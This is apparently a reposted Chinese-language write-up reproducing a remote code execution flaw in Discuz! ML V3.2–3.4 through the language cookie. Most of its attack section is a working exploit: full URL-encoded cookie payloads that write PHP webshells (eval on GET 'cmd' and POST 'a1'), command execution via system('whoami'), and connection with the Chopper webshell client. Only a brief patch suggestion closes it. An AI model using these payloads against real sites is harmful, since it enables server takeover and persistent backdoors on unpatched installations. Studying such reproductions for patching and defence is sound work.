Discuz! ML RCE漏洞 getshell 復現
0x00 影響版本
Discuz!ML是一個由CodersClub.org創建的多語言,集成,功能齊全的開源網路平臺, 用于構建像“社交網路”這樣的互聯網社區，漏洞版本如下：
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
0x01 環境搭建
使用phpstudy搭建：直接官網下載即可http://discuz.ml/download，將壓縮包解壓至phpstudy網站根目錄，瀏覽器訪問upload目錄即可開始安裝
0x02 漏洞復現
左上角有語言圖示，隨便選擇一種語言并抓包
將抓到的包發送到repeater模塊
將包中cookie的xxxxx_language引數值改為 '.phpinfo().' ，可以看到成功執行了代碼，得到了phpinfo資訊，如下圖
0x03 Getshell
EXP：
解碼后：
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
解碼前：
'.+file_put_contents('shell.php',urldecode('%3c%3fphp+%20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')
將包中cookie的xxxxx_language引數值改為exp，可以看到成功執行了代碼，在檔案夾中多出了shell.php檔案，如下圖：
在url中訪問http://192.168.1.9/vot-discuz.ml-fa108dcc726d/upload/shell.php?cmd=system(%27whoami%27);
可以看到執行了命令，
Exp：
%27.+file_put_contents%28%27shelll.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522a1%2522%255d%29%253b%253f%253e%27%29%29.%27
原陳述句：
<?php eval($_POST["a1"]);?>
將包中cookie的xxxxx_language引數值改為exp，可以看到成功執行了代碼，在檔案夾中多出了shelll.php檔案，如下圖
訪問該檔案，發現該檔案被執行，
使用菜刀成功連接：
0X03 修復建議
建議修改source/function/function_core.php 644行為：
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
洗掉可控變數，
或者安裝最新補丁，
轉載請註明出處，本文鏈接：https://www.uj5u.com/qiye/3953.html
標籤：訊息安全